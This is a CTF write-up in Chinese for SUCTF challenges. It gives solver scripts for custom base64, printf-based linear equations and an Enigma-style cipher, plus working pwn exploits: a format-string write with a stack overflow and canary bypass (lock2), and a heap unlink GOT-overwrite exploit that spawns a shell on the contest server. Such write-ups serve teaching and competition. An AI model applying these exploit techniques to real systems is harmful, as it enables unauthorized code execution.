Rev

babyre

mips汇编,IDA的F5没法用,推荐这个网站https://retdec.com/decompilation/

反编译出来发现有一堆比较,很丑陋的嵌套if,然后前面还有一个加密函数。

把嵌套的if弄下来,发现疑似base64编码,然后看了看前面的函数,的确是base64加密函数,只不过是自定义的字符集。

把字符集也弄下来,写个脚本就能搞定了。。。

import string
import base64
v2 = [0] * 32
v2[0] = 101
v2[1] = 81
v2[2] = 52
v2[3] = 121
v2[4] = 52
v2[5] = 54
v2[6] = 43
v2[7] = 86
v2[8] = 117
v2[9] = 102
v2[10] = 90
v2[11] = 122
v2[12] = 100
v2[13] = 70
v2[14] = 78
v2[15] = 70
v2[16] = 100
v2[17] = 120
v2[18] = 48
v2[19] = 122
v2[20] = 117
v2[21] = 100
v2[22] = 115
v2[23] = 97
v2[24] = 43
v2[25] = 121
v2[26] = 89
v2[27] = 48
v2[28] = 43
v2[29] = 74
v2[30] = 50
v2[31] = 109
v2 = map(chr, v2)
v1 = [0] * 64
v1[0] = 82
v1[1] = 57;
v1[2] = 76;
v1[3] = 121;
v1[4] = 54;
v1[5] = 78;
v1[6] = 111;
v1[7] = 74;
v1[8] = 118;
v1[9] = 115;
v1[10] = 73;
v1[11] = 80;
v1[12] = 110;
v1[13] = 87;
v1[14] = 104;
v1[15] = 69;
v1[16] = 84;
v1[17] = 89;
v1[18] = 116;
v1[19] = 72;
v1[20] = 101;
v1[21] = 52;
v1[22] = 83;
v1[23] = 100;
v1[24] = 108;
v1[25] = 43;
v1[26] = 77;
v1[27] = 98;
v1[28] = 71;
v1[29] = 117;
v1[30] = 106;
v1[31] = 97;
v1[32] = 90;
v1[33] = 112;
v1[34] = 107;
v1[35] = 49;
v1[36] = 48;
v1[37] = 50;
v1[38] = 119;
v1[39] = 75;
v1[40] = 67;
v1[41] = 114;
v1[42] = 55;
v1[43] = 47;
v1[44] = 79;
v1[45] = 68;
v1[46] = 103;
v1[47] = 53;
v1[48] = 122;
v1[49] = 88;
v1[50] = 65;
v1[51] = 70;
v1[52] = 113;
v1[53] = 81;
v1[54] = 102;
v1[55] = 120;
v1[56] = 66;
v1[57] = 105;
v1[58] = 99;
v1[59] = 86;
v1[60] = 51;
v1[61] = 109;
v1[62] = 56;
v1[63] = 85;
v1 = map(chr, v1)

my_base64chars  = "".join(v1)
std_base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
print len(my_base64chars)
print len(std_base64chars)
s = "".join(v2)
s = s.translate(string.maketrans(my_base64chars, std_base64chars))
print "".join(v1)
print base64.b64decode(s)
#SUCTF{wh0_1s_y0ur_d4ddy}

simpleformat

挺有意思的一道题,main函数如下

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  null = open("/dev/null", 1, a3);
  puts("Input Flag:");
  __isoc99_scanf("%36s", flag);
    //flag以16位无符号保存
  process();
  if ( memcmp(keys, res, 72uLL) )
  {
    puts("GG!");
    exit(-1);
  }
  puts("Congratulations!");
  close(null);
  return 0LL;
}

//在process中,其中一个代码块
dprintf(
    null,
    "%1$*2$s%1$*2$s%1$*2$s%1$*2$s%1$*2$s%1$*2$s%1$*2$s%1$*2$s%1$*2$s%1$*2$s%1$*2$s%1$*2$s%1$*2$s%1$*2$s%1$*2$s%1$*2$s%1$*"
    "2$s%1$*2$s%1$*2$s%1$*3$s%1$*3$s%1$*3$s%1$*3$s%1$*3$s%1$*3$s%1$*3$s%1$*3$s%1$*5$s%1$*5$s%1$*5$s%1$*5$s%1$*5$s%1$*7$s%"
    "1$*7$s%1$*7$s%1$*7$s%1$*7$s%1$*7$s%1$*8$s%1$*8$s%1$*8$s%1$*8$s%1$*8$s%1$*8$s%1$*8$s%1$*8$s%1$*8$s%1$*8$s%1$*8$s%1$*8"
    "$s%1$*8$s%1$*8$s%1$*8$s%1$*8$s%1$*8$s%1$*8$s%1$*8$s%1$*8$s%1$*8$s%1$*8$s%1$*8$s%1$*8$s%1$*8$s%1$*8$s%1$*8$s%1$*9$s%1"
    "$*9$s%1$*9$s%1$*9$s%1$*9$s%1$*9$s%1$*9$s%1$*9$s%1$*9$s%1$*9$s%1$*9$s%1$*9$s%1$*9$s%1$*9$s%1$*9$s%1$*9$s%1$*9$s%1$*9$"
    "s%1$*9$s%1$*10$s%1$*10$s%1$*10$s%1$*10$s%1$*10$s%1$*10$s%1$*11$s%1$*11$s%1$*11$s%1$*11$s%1$*11$s%1$*11$s%1$*11$s%1$*"
    "11$s%1$*11$s%1$*11$s%1$*11$s%1$*11$s%1$*11$s%1$*11$s%1$*11$s%1$*11$s%1$*11$s%1$*11$s%1$*11$s%1$*11$s%1$*11$s%1$*11$s"
    "%1$*12$s%1$*12$s%1$*12$s%1$*12$s%1$*12$s%1$*12$s%1$*12$s%1$*12$s%1$*12$s%1$*12$s%1$*12$s%1$*12$s%1$*12$s%1$*12$s%1$*"
    "12$s%1$*12$s%1$*14$s%1$*15$s%1$*15$s%1$*15$s%1$*15$s%1$*15$s%1$*15$s%1$*15$s%1$*15$s%1$*15$s%1$*15$s%1$*15$s%1$*15$s"
    "%1$*15$s%1$*15$s%1$*15$s%1$*15$s%1$*15$s%1$*15$s%1$*15$s%1$*15$s%1$*15$s%1$*15$s%1$*15$s%1$*16$s%1$*16$s%1$*17$s%1$*"
    "17$s%1$*17$s%1$*17$s%1$*17$s%1$*17$s%1$*17$s%1$*17$s%1$*17$s%1$*17$s%1$*17$s%1$*17$s%1$*17$s%1$*17$s%1$*17$s%1$*17$s"
    "%1$*17$s%1$*17$s%1$*17$s%1$*17$s%1$*17$s%1$*17$s%1$*17$s%1$*17$s%1$*17$s%1$*17$s%1$*17$s%1$*17$s%1$*17$s%1$*18$s%1$*"
    "18$s%1$*18$s%1$*18$s%1$*18$s%1$*18$s%1$*18$s%1$*18$s%1$*18$s%1$*18$s%1$*18$s%1$*18$s%1$*18$s%1$*18$s%1$*19$s%1$*19$s"
    "%1$*19$s%1$*19$s%1$*19$s%1$*19$s%1$*19$s%1$*19$s%1$*19$s%1$*19$s%1$*19$s%1$*19$s%1$*19$s%1$*19$s%1$*19$s%1$*19$s%1$*"
    "19$s%1$*19$s%1$*19$s%1$*19$s%1$*19$s%1$*19$s%20$n",
    aAaaaaaaaaaaaaa,
    flag[0],
    flag[1],
    flag[2],
    flag[3],
    flag[4],
    flag[5],
    flag[6],
    flag[7],
    flag[8],
    flag[9],
    flag[10],
    flag[11],
    flag[12],
    flag[13],
    flag[14],
    flag[15],
    flag[16],
    flag[17],
    res);

其中%1$*2$s的意思是,输出第一个参数,并且保证一定输出第二个参数的值个字符串。

有点类似%1$20s,这不过这个一定输出20个字符,而这道题输出的字符串数量等于第二个参数。

The width field may be omitted, or a numeric integer value, or a dynamic value when passed as another argument when indicated by an asterisk *. For example, printf("%*d", 5, 10) will result in    10 being printed, with a total width of 5 characters.

引用自维基百科

所以这个题目的逻辑是,根据flag输出,输出相应的字符个数到/dev/null,最后把总个数写入res,最后会检查res

实际上呢就是个线性方程组,每个dprintf是一个方程,keys是右边的向量,%1$*X$s的个数决定了左手边系数,其中X是flag index + 2。然后IDAPython把这个线性方程组的相关参数弄下来。。。

import re
def str_to_equation(string):
	res = []
	for x in xrange(2, 20):
		f = "%1\\$\\*" + str(x) + "\\$s"
		res.append(len([m.start() for m in re.finditer(f, string)]))
	return res

def get_all_formats():
	res = []
	for addr in XrefsTo(0x400590, flags=0):
		mov_esi = addr.frm - 12
		assert GetMnem(mov_esi) == "mov" and "esi" in GetOpnd(mov_esi, 0)
		res.append(GetString(GetOperandValue(mov_esi, 1)))
	return res

def get_equations():
	equations = []
	formats = get_all_formats()
	for s in formats:
		equations.append(str_to_equation(s))
	return equations

def get_results():
	res = []
	p = 0x627100
	for i in xrange(0, 18):
		res.append(Dword(p + 4 * i))
	return res

结果如下

Python>get_equations()
[[19, 8, 0, 5, 0, 6, 27, 19, 6, 22, 16, 0, 1, 23, 2, 29, 14, 22], [26, 18, 9, 14, 3, 1, 0, 6, 20, 9, 24, 5, 6, 14, 13, 20, 7, 1], [16, 29, 5, 16, 11, 15, 15, 7, 26, 29, 17, 11, 12, 4, 6, 9, 21, 13], [25, 8, 3, 30, 16, 30, 30, 23, 3, 20, 11, 8, 27, 5, 5, 2, 20, 25], [17, 1, 15, 5, 29, 9, 24, 17, 29, 8, 27, 13, 19, 27, 28, 28, 5, 17], [16, 7, 12, 10, 10, 21, 11, 24, 10, 16, 1, 1, 25, 19, 28, 13, 23, 29], [26, 27, 27, 29, 24, 17, 24, 19, 30, 2, 10, 14, 11, 24, 17, 0, 21, 1], [30, 20, 24, 6, 6, 14, 9, 7, 22, 9, 7, 18, 22, 23, 22, 21, 7, 25], [8, 9, 9, 30, 15, 26, 17, 28, 12, 11, 26, 28, 22, 20, 5, 2, 1, 11], [4, 9, 25, 17, 10, 29, 28, 25, 12, 30, 2, 18, 8, 17, 8, 9, 8, 28], [5, 10, 23, 5, 30, 0, 14, 0, 28, 29, 23, 0, 22, 2, 27, 27, 18, 16], [0, 20, 3, 11, 28, 21, 2, 17, 17, 9, 22, 5, 19, 25, 29, 10, 27, 22], [12, 16, 4, 4, 4, 4, 15, 1, 26, 24, 14, 24, 18, 23, 4, 13, 17, 13], [26, 17, 11, 8, 29, 20, 7, 20, 26, 14, 28, 27, 28, 16, 26, 16, 9, 10], [22, 13, 23, 13, 20, 15, 5, 3, 1, 14, 29, 1, 0, 19, 13, 27, 23, 24], [15, 26, 23, 5, 5, 15, 20, 20, 7, 9, 5, 15, 20, 27, 8, 7, 18, 17], [12, 4, 15, 8, 1, 6, 27, 22, 2, 25, 15, 14, 25, 15, 18, 21, 28, 12], [4, 24, 11, 1, 22, 26, 11, 16, 18, 15, 18, 17, 1, 30, 9, 7, 19, 30]]
Python>get_results()
[5462280L, 4346506L, 5891159L, 6839864L, 7912833L, 7049790L, 7455784L, 7311612L, 6299256L, 7114100L, 7037043L, 6873051L, 5644794L, 8014197L, 6432215L, 6638450L, 6959905L, 6705884L]

然后numpy解方程,不说了。。。

import numpy as np
from pwn import *
a = [[19, 8, 0, 5, 0, 6, 27, 19, 6, 22, 16, 0, 1, 23, 2, 29, 14, 22], [26, 18, 9, 14, 3, 1, 0, 6, 20, 9, 24, 5, 6, 14, 13, 20, 7, 1], [16, 29, 5, 16, 11, 15, 15, 7, 26, 29, 17, 11, 12, 4, 6, 9, 21, 13], [25, 8, 3, 30, 16, 30, 30, 23, 3, 20, 11, 8, 27, 5, 5, 2, 20, 25], [17, 1, 15, 5, 29, 9, 24, 17, 29, 8, 27, 13, 19, 27, 28, 28, 5, 17], [16, 7, 12, 10, 10, 21, 11, 24, 10, 16, 1, 1, 25, 19, 28, 13, 23, 29], [26, 27, 27, 29, 24, 17, 24, 19, 30, 2, 10, 14, 11, 24, 17, 0, 21, 1], [30, 20, 24, 6, 6, 14, 9, 7, 22, 9, 7, 18, 22, 23, 22, 21, 7, 25], [8, 9, 9, 30, 15, 26, 17, 28, 12, 11, 26, 28, 22, 20, 5, 2, 1, 11], [4, 9, 25, 17, 10, 29, 28, 25, 12, 30, 2, 18, 8, 17, 8, 9, 8, 28], [5, 10, 23, 5, 30, 0, 14, 0, 28, 29, 23, 0, 22, 2, 27, 27, 18, 16], [0, 20, 3, 11, 28, 21, 2, 17, 17, 9, 22, 5, 19, 25, 29, 10, 27, 22], [12, 16, 4, 4, 4, 4, 15, 1, 26, 24, 14, 24, 18, 23, 4, 13, 17, 13], [26, 17, 11, 8, 29, 20, 7, 20, 26, 14, 28, 27, 28, 16, 26, 16, 9, 10], [22, 13, 23, 13, 20, 15, 5, 3, 1, 14, 29, 1, 0, 19, 13, 27, 23, 24], [15, 26, 23, 5, 5, 15, 20, 20, 7, 9, 5, 15, 20, 27, 8, 7, 18, 17], [12, 4, 15, 8, 1, 6, 27, 22, 2, 25, 15, 14, 25, 15, 18, 21, 28, 12], [4, 24, 11, 1, 22, 26, 11, 16, 18, 15, 18, 17, 1, 30, 9, 7, 19, 30]]
b = [5462280, 4346506, 5891159, 6839864, 7912833, 7049790, 7455784, 7311612, 6299256, 7114100, 7037043, 6873051, 5644794, 8014197, 6432215, 6638450, 6959905, 6705884]
a = np.array(a)
b = np.array(b)

x = np.linalg.solve(a, b)
flag = ""
for i in xrange(0, 18):
	print int(x[i])
	# numpy problematic??? result is different after converting to int
	flag += p16(int(x[i]))
flag += "\n"
x = [21843,  21571,  31558,  12659,  28781,  13164,  28767,  26994,  14190, 24422,  12652,  25966,  29281,  26207,  29232,  30061,  24940,  32115]
for i in xrange(0, 18):
	flag += p16(int(x[i]))

print np.dot(a, x)
print x
print flag
#SUCTF{s1mpl3_prin7f_l1near_f0rmulas}

然后注意一点直接把numpy的结果转成int会出问题,不知道为啥。。。可能是浮点数的问题?所以我直接把结果先输出,然后再复制下来,把点删掉,再小端转成字符串。。。

enigma

看到这题目名字就想到了纳粹那个密码机。。。自己用C++写过一个,然后debug检验了一下,发现的确是逐个字节的加密,所以可以直接爆破。。。IDA一打开就不想逆了,全是C++,看着就头大。。。

之前本来想用老办法把可执行文件变成动态链接库,然后hook输入函数,hook后面的memcmp,nop掉GG退出那个函数,直接拿之前写的爆破框架爆。。。结果发现输入用的是C++的那套iostream,hook还要模拟C++的basic_string类,太麻烦了,果断换方法。。。(这个真的坑了我好久,也是自己犯蠢了C++逆向都不记得了。。。)

第二个思路是把memcmp直接patch成write,然后就可以输出加密后的字节了。(注意不能用puts因为有0在正确结果里面)。至于怎么patch也还是挺有意思的,跟那个最近刚学的ret2dl-resolve思路有点类似,在字符串表里面把memcmp改成write,这样resolve的时候就会完全变成write这个函数,然后参数顺序啥的处理一下,就成功patch了。。。

patch前

patch后

patch之后又遇到一个问题,不知道怎么在C++程序中像pwntool那样重定向IO,查了好久没查到,popen只支持单向重定位,最后用笨办法解决的。。。直接贴代码了。。。

#include <cstdio>
#include <cstring>
#include <stdlib.h>
#include <stdint.h>
#include "BruteForce.h"

char buffer[0x24];

void printHex(bfbyte* input, size_t inputLen);
//this can be changed for test purpose
#define SLOW_PRINT_SPEED 4096

//put the argument here
#define BLOCK_SIZE 1
#define ANSWER ((const bfbyte*)"\xa8\x1c\xaf\xd9\x0\x6c\xac\x2\x9b\x5\xe3\x68\x2f\xc7\x78\x3a\x2\xbc\xbf\xb9\x4d\x1c\x7d\x6e\x31\x1b\x9b\x84\xd4\x84\x0\x76\x5a\x4d\x6\x75")
#define ANSWER_LEN (0x24)
#define INPUT_LEN ((size_t)0x24)
#define CHARSET "!@#$%^&*()1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM{}[]|\\\"\'?/.><,_+=-~`"

typedef void(*encode_t)();
void encode();
CrackCtf<encode_t> crack(INPUT_LEN, ANSWER, ANSWER_LEN, encode, BLOCK_SIZE, (bfbyte*)CHARSET, strlen(CHARSET));

char welcome_msg[1024];
void encode()
{
	bfbyte input[0x25];
	bfbyte output[0x25];
	crack.getInput(input);
	input[INPUT_LEN] = 0;
	FILE* file = popen("./libenigma.so > ./result.txt", "w");
    //重定向到文件,再去读那个文件。。。

	fwrite(input, 0x24, 1, file);
	fwrite("\n", 1, 1, file);
	pclose(file);
	file = fopen("./result.txt", "rb");
	fseek(file, 0xb3, SEEK_CUR);
	fread(input, 0x24, 1, file);
	fclose(file);

	//printf("%s\n", input);
	if (crack.testEncodeResult(input))
	{
		crack.getInput(input);
		printf("%s\n", input);
		exit(0);
	}
}
int main(int argc, char const *argv[])
{
	crack.startCrack();
	return 0;
}
void printHex(bfbyte* input, size_t inputLen)
{
	for (size_t i = 0; i < inputLen; i++)
	{
		printf("%02x ", input[i]);
	}
	printf("\n");
}//SUCTF{sm4ll_b1ts_c4n_d0_3v3rythin9!}
//g++ -std=c++11 main.cpp BruteForce.cpp -g -o crack

最后发现,因为是单字节加密,用这玩意纯属杀鸡用牛刀。。。其实拿个Python用上pwntool随便写个脚本也能爆破。。。

其实这个解题思路有点骚。。。完全没逆这个enigma密码机,就做出来了(逃

Pwn

lock2

首先123456弱口令,进去之后有个格式化字符串漏洞。

我总结的遇到这种题目,想要dump出来binary,步骤如下

  1. 最起码的,先leak一下栈,看看输入在哪个位置,待会好用%s来dump数据

  2. 先找到稳定取得程序base的方法,具体实现是先从栈里面leak出来某个返回地址,然后慢慢减去0x1000,直到开头为ELF头标志"\x7fELF",最后能搞出一个偏移offset,然后每次从那个返回地址减去offset就好了
  3. 然后通过ELF头找到entry的地址,leak出entry,然后根据这个leak出main,main通过随便一个库函数调用找到PLT地址,最后从PLT开始dump,就可以慢慢把整个代码段和只读数据段dump下来。因为,一般来讲,PLT在代码段最前面,然后只读数据段紧随代码段。
  4. PLT同时也可以找到GOT表的地址,然后这里可以试一下GOT表是否可写,结果发现这道题不行
  5. 注意这道题是用gets函数获取的输入,所以'\n'会截断,所以当地址有0A就dump不了了,只能假设它是0,不过一般都是0就是了。。。

比赛的时候写的代码比较丑,就不贴这了。。。

binary搞下来了之后还是挺容易看出来猫腻的,首先是一个循环,输出各种符号,前面有一个退出循环的条件

  while ( 1 )
  {
    sub_ACF(a1, a2);
    if ( MEMORY[0x2030E0] )//因为没dump下来可写数据段,所以会这样,但是不影响
    {
      if ( !MEMORY[0x2030E4] )
        break;
    }
      //...
  }

unsigned __int64 __fastcall sub_ACF(__int64 a1, __int64 a2)
{
  BOOL v2; // eax
  unsigned __int64 result; // rax
  unsigned __int64 v4; // rt1
  signed int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  if ( MEMORY[0x2030D0] )
  {
    for ( i = 0; i <= 7; ++i )
      *(_DWORD *)(4LL * i + 0x2030C0) = 0;
  }
  v2 = MEMORY[0x2030C0]
    && MEMORY[0x2030C4]
    && !MEMORY[0x2030C8]
    && !MEMORY[0x2030CC]
    && MEMORY[0x2030D4]
    && !MEMORY[0x2030D8];
  MEMORY[0x2030E0] = v2;
  MEMORY[0x2030E4] = MEMORY[0x2030DC];
  v4 = __readfsqword(0x28u);
  result = v4 ^ v6;
  if ( v4 != v6 )
    result = sub_810(a1, a2);
  return result;
}

退出循环后会调用这个东西,明显就是要找办法退出循环

unsigned __int64 inside_pandora()
{
  unsigned __int64 result; // rax
  unsigned __int64 v1; // rt1
  char vul_buf[10]; // [rsp+16h] [rbp-2Ah]
  char v3[24]; // [rsp+20h] [rbp-20h]
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("You Have Unlocked The Pandora Box:%p\n", sub_9AA);
  puts("Tell me your name:");
  sub_840(0LL, v3);
  printf("Hello %s tell me what do you want?\n", v3);
  sub_870(vul_buf);
  v1 = __readfsqword(0x28u);
  result = v1 ^ v4;
  if ( v1 != v4 )
    result = sub_810(vul_buf, v3);
  return result;
}

sub_ACF的逻辑,感觉就是要用格式化字符串对那几个地址动手脚,使得MEMORY[0x2030E0]!MEMORY[0x2030E4]都为true。这个逻辑不难理解,所以exp如下:

def qword_zero(addr):
	payload = "%7$n%8$n"
	payload += p64(addr)
	payload += p64(addr + 4)
	sh.send(payload + "\n")
	sh.recvuntil("cmd:")
	sh.recvuntil("cmd:")

def qword_one(addr):
	payload = "%7$p%7$n"
	payload += p64(addr)
	sh.send(payload + "\n")
	sh.recvuntil("cmd:")
	sh.recvuntil("cmd:")

# v2 = MEMORY[0x2030C0]
#   && MEMORY[0x2030C4]
#   && !MEMORY[0x2030C8]
#   && !MEMORY[0x2030CC]
#   && MEMORY[0x2030D4]
#   && !MEMORY[0x2030D8];
# MEMORY[0x2030E0] = v2;
# MEMORY[0x2030E4] = MEMORY[0x2030DC];

# dump_section(base + 0x2030C0, 32)
qword_zero(base + 0x2030D0)
qword_one(base + 0x2030C0)
qword_one(base + 0x2030C4)
payload = "%7$p%7$n"
payload += p64(base + 0x2030D4)
sh.send(payload + "\n")

# qword_one(base + 0x2030D4)
# qword_zero(base + 0x2030C8)
# qword_zero(base + 0x2030CC)
# qword_zero(base + 0x2030D8)
# qword_zero(base + 0x2030DC)
# 最后发现这些好像本来就是0。。。所以到这里已经退出循环了。。。

最后进入潘多拉魔盒,有个很明显的栈溢出,然后sub_9AA有个"/flag"字符串的引用,所以试着调用它。。。

sh.recvuntil("Tell me your name:")
sh.send("2019\n")
sh.recvuntil("me what do you want?\n")
sh.send(34 * "A" + p64(canary) + p64(0) + p64(base + 0x9AA) + "\n")

sh.interactive()

然后就有flag了。。。

至于canary怎么leak不说了,格式化字符串leak个canary还不简单。。。

讲道理这题可以getshell,毕竟libc可以找出来,也就是返回到libc做几次rop的事情,也不会难多少。。。

heap

很基础的通过溢出改写PREV_USE并伪造prev_size来unlink,让一个全局变量指向自己前面的地址实现任意读写,套路题不说了。。。详情可以看 https://github.com/Mem2019/Mem2019.github.io/blob/master/kxctf/20171004.md ,觉得我博客太丑或者我写的太烂的话呢可以去看雪看其他大神的文章,或者看shellphish的https://github.com/shellphish/how2heap/blob/master/unsafe_unlink.c 。。。

要注意的一点是,这道题add的时候用了一个tmp_buffer,然后会通过strcpy拷贝到真正的buffer,所以最开始直接把缓冲区放满会污染top_chunk,还有就是unlink的时候后面那个chunk最好要是在用的状态,不然会跟后面的也consolidate,嘛不过好像问题不大。。。

exp如下

from pwn import *
FREE_GOT = 0x602018

g_local=False
e = ELF('./libc-2.23.so')
#context.log_level='debug'
if g_local:
	sh = process('./offbyone', env={'LD_PRELOAD':'./libc-2.23.so'})
	#gdb.attach(sh)
else:
	sh = remote("pwn.suctf.asuri.org", 20004)

def get_addr(idx):
	return 0x6020C0 + idx * 8


def creat(length, data):
	assert length > 0x7F and length <= 256
	sh.send("1\x00")
	sh.recvuntil("input len\n")
	sh.send(str(length) + "\x00")
	sh.recvuntil("input your data\n")
	sh.send(data)
	sh.recvuntil("4:edit\n")

def edit(idx, data):
	sh.send("4\x00")
	sh.recvuntil("input id\n")
	sh.send(str(idx) + "\x00")
	sh.recvuntil("input your data\n")
	sh.send(data)
	sh.recvuntil("4:edit\n")

def delet(idx):
	sh.send("2\x00")
	sh.recvuntil("input id\n")
	sh.send(str(idx) + "\x00")
	sh.recvuntil("4:edit\n")

def show(idx):
	sh.send("3\x00")
	sh.recvuntil("input id\n")
	sh.send(str(idx) + "\x00")
	ret = sh.recvuntil("1:creat\n")
	sh.recvuntil("4:edit\n")
	return ret[:len(ret) - len("1:creat\n")]


creat(0xf8, "U" * 0x40) #0
creat(0xf8, "/bin/sh\x00") #1
creat(0xf8, "U" * 0x40) #2
creat(0xf8, "A" * 0x40) #3
creat(0xf8, "B" * 0x40) #4
creat(0xf8, "C" * 0x40) #5
creat(0xf8, "P" * 0x40) #6


delet(3)
creat(0xf8, "A" * 0xf8) #3
delet(4)
creat(0xf8, "B" * 0xf8) #4
#prevent merging and corrupting top chunk


# 0x1438020 PREV_INUSE { 1
#   prev_size = 0,
#   size = 257,
#   fd = 0x4242424242424242,
#   bk = 0x4242424242424242,
#   fd_nextsize = 0x4242424242424242,
#   bk_nextsize = 0x4242424242424242
# }
# 0x1438120 PREV_INUSE { 0
#   prev_size = 4774451407313060418,
#   size = 257,
#   fd = 0x4141414141414141,
#   bk = 0x4141414141414141,
#   fd_nextsize = 0x4141414141414141,
#   bk_nextsize = 0x4141414141414141
# }

fake_chunk = p64(0) + p64(0xf1)
fake_chunk += p64(get_addr(3) - 0x18)
fake_chunk += p64(get_addr(3) - 0x10)
fake_chunk += "D" * 0xd0
fake_chunk += p64(0xf0)
fake_chunk += p16(0xf0)
#其实好像没必要这样,溢出的时候让下一个chunk仍然是0x100的大小就好了,
#也不用后面再伪造下一个chunk header...

edit(3, fake_chunk)
edit(4, "A" * 0xe0 + p64(0xf0) + p64(0x111) + "A" * 8)
delet(4)
# 3 is 6020c0
# which is 0

#edit 0 for arbitrary write & read
edit(3, p64(FREE_GOT)[:4])
free_addr = u64(show(0) + "\x00\x00")
print hex(free_addr)

base = free_addr - e.symbols["free"]
assert (base & 0xfff) == 0
edit(0, p64(base + e.symbols["system"])[:6])


sh.send("2\x00")
sh.recvuntil("input id\n")
sh.send("1\x00")

sh.interactive()